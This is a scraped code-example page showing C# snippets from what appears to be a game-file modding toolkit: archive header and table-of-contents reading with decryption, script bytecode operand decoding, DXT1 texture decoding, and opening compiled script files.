            var br = new BinaryReader(_stream);

            byte[] headerData = br.ReadBytes(0x14);

            if (BitConverter.ToUInt32(headerData, 0) != Header.MagicId)
            {
                encrypted = true;
            }

            if (encrypted)
            {
                headerData = DataUtil.Decrypt(headerData);
            }

            var headerMS = new MemoryStream(headerData);

            Header.Read(new BinaryReader(headerMS));

            headerMS.Close();

            if (Header.Identifier != Header.MagicId || Header.Version != Header.SupportedVersion)
            {
                _stream.Close();
                return false;
            }

            byte[] tocData = br.ReadBytes(Header.TocSize);

            if (encrypted)
            {
                tocData = DataUtil.Decrypt(tocData);
            }

            var tocMS = new MemoryStream(tocData);

            TOC.Read(new BinaryReader(tocMS));

            tocMS.Close();

            return true;
        }

19 View Source File : InstructionPush.cs
License : GNU General Public License v3.0
Project Creator : ahmed605

protected override void DecodeInternal(byte[] code, int offset)
        {
            OperandCount = 1;
            if (_paramType == typeof (uint))
            {
                Operands[0] = BitConverter.ToUInt32(code, offset + 1);
            }
            else if (_paramType == typeof (float))
            {
                Operands[0] = BitConverter.ToSingle(code, offset + 1);
            }
            else if (_paramType == typeof (short))
            {
                Operands[0] = BitConverter.ToInt16(code, offset + 1);
            }
            else if (_paramType == typeof (string))
            {
                Operands[0] = Encoding.ASCII.GetString(code, offset + 2, code[offset + 1] - 1);
            }
            else if (_paramType == null)
            {
                // PushD
                Operands[0] = (int) ((uint) OpCode - 80) - 16;
            }
            else
            {
                Debug.replacedert(false);
            }
        }

19 View Source File : DXTDecoder.cs
License : GNU General Public License v3.0
Project Creator : ahmed605

internal static byte[] DecodeDXT1(byte[] data, int width, int height)
        {
            byte[] pixData = new byte[width * height * 4];
            int xBlocks = width / 4;
            int yBlocks = height / 4;
            for (int y = 0; y < yBlocks; y++)
            {
                for (int x = 0; x < xBlocks; x++)
                {
                    int blockDataStart = ((y * xBlocks) + x) * 8;

#if XBOX360
                    uint color0 = ((uint)data[blockDataStart + 0] << 8) + data[blockDataStart + 1];
                    uint color1 = ((uint)data[blockDataStart + 2] << 8) + data[blockDataStart + 3];
#else
                    uint color0 = BitConverter.ToUInt16(data, blockDataStart);
                    uint color1 = BitConverter.ToUInt16(data, blockDataStart + 2);
#endif

                    uint code = BitConverter.ToUInt32(data, blockDataStart + 4);

                    ushort r0 = 0, g0 = 0, b0 = 0, r1 = 0, g1 = 0, b1 = 0;
                    r0 = (ushort)(8 * (color0 & 31));
                    g0 = (ushort)(4 * ((color0 >> 5) & 63));
                    b0 = (ushort)(8 * ((color0 >> 11) & 31));

                    r1 = (ushort)(8 * (color1 & 31));
                    g1 = (ushort)(4 * ((color1 >> 5) & 63));
                    b1 = (ushort)(8 * ((color1 >> 11) & 31));

                    for (int k = 0; k < 4; k++)
                    {
#if XBOX360
                        int j = k ^ 1;
#else
                        int j = k;
#endif

                        for (int i = 0; i < 4; i++)
                        {
                            int pixDataStart = (width * (y * 4 + j) * 4) + ((x * 4 + i) * 4);
                            uint codeDec = code & 0x3;

                            switch (codeDec)
                            {
                                case 0:
                                    pixData[pixDataStart + 0] = (byte)r0;
                                    pixData[pixDataStart + 1] = (byte)g0;
                                    pixData[pixDataStart + 2] = (byte)b0;
                                    pixData[pixDataStart + 3] = 255;
                                    break;
                                case 1:
                                    pixData[pixDataStart + 0] = (byte)r1;
                                    pixData[pixDataStart + 1] = (byte)g1;
                                    pixData[pixDataStart + 2] = (byte)b1;
                                    pixData[pixDataStart + 3] = 255;
                                    break;
                                case 2:
                                    pixData[pixDataStart + 3] = 255;
                                    if (color0 > color1)
                                    {
                                        pixData[pixDataStart + 0] = (byte)((2 * r0 + r1) / 3);
                                        pixData[pixDataStart + 1] = (byte)((2 * g0 + g1) / 3);
                                        pixData[pixDataStart + 2] = (byte)((2 * b0 + b1) / 3);
                                    }
                                    else
                                    {
                                        pixData[pixDataStart + 0] = (byte)((r0 + r1) / 2);
                                        pixData[pixDataStart + 1] = (byte)((g0 + g1) / 2);
                                        pixData[pixDataStart + 2] = (byte)((b0 + b1) / 2);
                                    }
                                    break;
                                case 3:
                                    if (color0 > color1)
                                    {
                                        pixData[pixDataStart + 0] = (byte)((r0 + 2 * r1) / 3);
                                        pixData[pixDataStart + 1] = (byte)((g0 + 2 * g1) / 3);
                                        pixData[pixDataStart + 2] = (byte)((b0 + 2 * b1) / 3);
                                        pixData[pixDataStart + 3] = 255;
                                    }
                                    else
                                    {
                                        pixData[pixDataStart + 0] = 0;
                                        pixData[pixDataStart + 1] = 0;
                                        pixData[pixDataStart + 2] = 0;
                                        pixData[pixDataStart + 3] = 0;
                                    }
                                    break;
                            }

                            code >>= 2;
                        }
                    }


                }
            }
            return pixData;
        }

19 View Source File : File.cs
License : GNU General Public License v3.0
Project Creator : ahmed605

public bool Open(Stream stream)
        {
            var br = new BinaryReader(stream);

            Header.Read(br);

            if (Header.Identifier != Header.Magic && 
                Header.Identifier != Header.MagicEncrypted && 
                Header.Identifier != Header.MagicEncryptedCompressed)
            {
                stream.Close();
                return false;
            }

            byte[] code, data1, data2;
            bool encrypted = Header.Identifier == Header.MagicEncrypted;
            bool encryptedCompressed = Header.Identifier == Header.MagicEncryptedCompressed;

            if (encryptedCompressed)
            {
                byte[] encryptedData = br.ReadBytes(Header.CompressedSize);
                byte[] compressedData = DataUtil.Decrypt(encryptedData);

                IntPtr handle = RageZip.InflateInit(compressedData, compressedData.Length);
                
                code = new byte[Header.CodeSize];
                RageZip.InflateProcess(handle, code, code.Length);

                data1 = new byte[Header.LocalVarCount*4];
                RageZip.InflateProcess(handle, data1, data1.Length);

                data2 = new byte[Header.GlobalVarCount * 4];
                RageZip.InflateProcess(handle, data2, data2.Length);

                RageZip.InflateEnd(handle);
            }
            else
            {
                code = br.ReadBytes(Header.CodeSize);
                data1 = br.ReadBytes(Header.LocalVarCount * 4);
                data2 = br.ReadBytes(Header.GlobalVarCount * 4);

                if (encrypted)
                {
                    code = DataUtil.Decrypt(code);
                    data1 = DataUtil.Decrypt(data1);
                    data2 = DataUtil.Decrypt(data2);
                }
            }

            Code = code;

            LocalVars = new uint[Header.LocalVarCount];
            for (int i = 0; i < Header.LocalVarCount; i++)
            {
                LocalVars[i] = BitConverter.ToUInt32(data1, i*4);
            }

            GlobalVars = new uint[Header.GlobalVarCount];
            for (int i = 0; i < Header.GlobalVarCount; i++)
            {
                GlobalVars[i] = BitConverter.ToUInt32(data2, i*4);
            }

            stream.Close();

            return true;
        }

See More Examples